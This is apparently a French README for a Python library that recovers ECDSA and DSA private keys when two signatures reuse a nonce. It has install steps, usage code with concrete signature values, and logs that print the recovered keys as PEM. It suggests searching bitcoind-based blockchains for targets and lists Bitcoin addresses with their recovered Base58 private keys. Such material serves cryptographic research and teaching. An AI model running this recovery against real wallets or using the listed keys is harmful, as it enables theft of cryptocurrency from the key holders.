
Un outil de recherche cryptographique pour analyser les vulnérabilités de signatures
Effectuer des attaques de récupération de clé privée par réutilisation de nonce ECDSA et DSA
Un outil de recherche cryptographique pour analyser les vulnérabilités de signatures
Récupérons la clé privée pour deux signatures partageant le même nonce k. Notez que le choix du même nonce k entraîne que les deux signatures ont une valeur de signature r identique. Pour trouver de bons candidats pour une vérification de réutilisation de nonce ECDSA, recherchez des signatures partageant le même r, pubkey sur curve pour différents messages (ou hachages). Par exemple, les projets blockchain basés sur bitcoind sont généralement de bonnes sources de matériel de signature ECDSA.
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # même privkey que sampleA, r identique en raison de la réutilisation du nonce k.
# récupérer la clé privée
sampleA.recover_nonce_reuse(sampleB) # remplit sampleA avec la clé privée récupérée, prête à l'emploi
print sampleA.privkey
Python 2.x :
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x :
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| Adresse BTC | Privkey Base58 | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
créer des objets de signature récupérables :
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# spécifier la courbe
curve = ecdsa.SECP256k1
# créer un objet pubkey ecdsa standard à partir d'une chaîne encodée en hexadécimal
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# créer les objets de signature récupérables sampleA et sampleB.
# r long, s long, hachage bytestr, objet pubkey.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# clé pas encore récupérée
assert (sampleA.x is None)
récupérer la clé privée pour sampleA
# tenter de récupérer la clé - cet objet mis à jour sampleA
sampleA.recover_nonce_reuse(sampleB) # récupérer la clé privée partagée avec sampleB
assert (sampleA.x is not None) # vérifier que la récupération de la clé privée a réussi. Cela nous donne un objet de clé privée ECDSA prêt à l'emploi
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - récupération de la clé privée à partir de la réutilisation du nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Clé privée récupérée !
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - récupération de la clé privée à partir de la réutilisation du nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Clé privée récupérée !
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
INFO:__main__:------------DSA------------
DEBUG:__main__:signatures d'échantillon générées : (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Objets de signature : [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - récupération de la clé privée à partir de la réutilisation du nonce...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - Clé privée récupérée !
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:signatures d'échantillon générées : (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Objets de signature : [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - récupération de la clé privée à partir de la réutilisation du nonce...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - Clé privée récupérée !
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----
La bibliothèque est écrite de manière à tenter de faire passer les objets ecdsa avec uniquement pubkey à des objets ecdsa avec clé privée activée après une récupération réussie. Cela facilite le travail avec les objets de clé récupérés. La bibliothèque effectue la récupération de clé à la fois pour ECDSA et DSA.